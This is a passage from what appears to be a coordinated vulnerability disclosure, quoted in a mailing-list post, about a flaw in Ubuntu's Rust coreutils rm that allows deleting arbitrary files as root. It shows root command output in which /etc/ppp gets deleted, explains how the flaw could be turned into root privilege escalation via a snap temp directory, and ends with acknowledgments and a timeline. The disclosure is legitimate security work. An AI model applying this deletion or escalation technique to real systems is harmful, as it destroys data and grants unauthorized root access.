/usr/lib/cargo/bin/coreutils/rm > > # dpkg -l rust-coreutils > ... > ii rust-coreutils 0.2.2-0ubuntu2.1 amd64 Universal coreutils utils, > written in Rust > > # find /var/crash/. ! -name . -prune -type d \( -mtime +7 \) -exec > /usr/lib/cargo/bin/coreutils/rm -Rf -- '{}' \; > ... > > # stat /etc/ppp > stat: cannot stat '/etc/ppp': No such file or directory (os error 2) > ------------------------------------------------------------------------ > > Back in September 2025, we reported this vulnerability to Ubuntu as a > denial of service (the ability to delete arbitrary files and directories > as root), but after writing this advisory it became perfectly clear that > this vulnerability was actually powerful enough to be transformed into a > Local Privilege Escalation (LPE) to full root (for example by deleting a > /tmp/snap-private-tmp/$SNAP/tmp/.snap directory). Fortunately, this LPE > was avoided thanks to the Ubuntu Security Team, who proactively reached > out to us and mitigated it before the release of Ubuntu 25.10. > > > ======================================================================== > Acknowledgments > ======================================================================== > > We thank everyone at Canonical who worked on this release (Seth Arnold, > Zygmunt Krynicki, Nick Dyer, Eduardo Barretto, and Luci Stanescu, in > particular) and on the uutils coreutils with us (Octavio Galland, Ravi > Kant Sharma, Seth Arnold, and Julian Andres Klode, in particular). We > also thank the members of the linux-distros mailing list (Alexander > Peslyak in particular). > > Finally, we dedicate this advisory to Felix Lindner: > > https://phenoelit.de/fx.html > https://defcon.social/@thedarktangent/116157827849844661 > > > ======================================================================== > Timeline > ======================================================================== > > 2025-12-15: We sent a draft of our advisory and two proofs of concept > (firefox_24.04.c and snap-store_25.10.c) to the Ubuntu Security Team. > > 2026-03-12: The Ubuntu Security Team sent a patch, and we sent a draft > of our advisory, to the linux-distros mailing list. > > 2026-03-17: Coordinated Release Date (14:00 UTC).
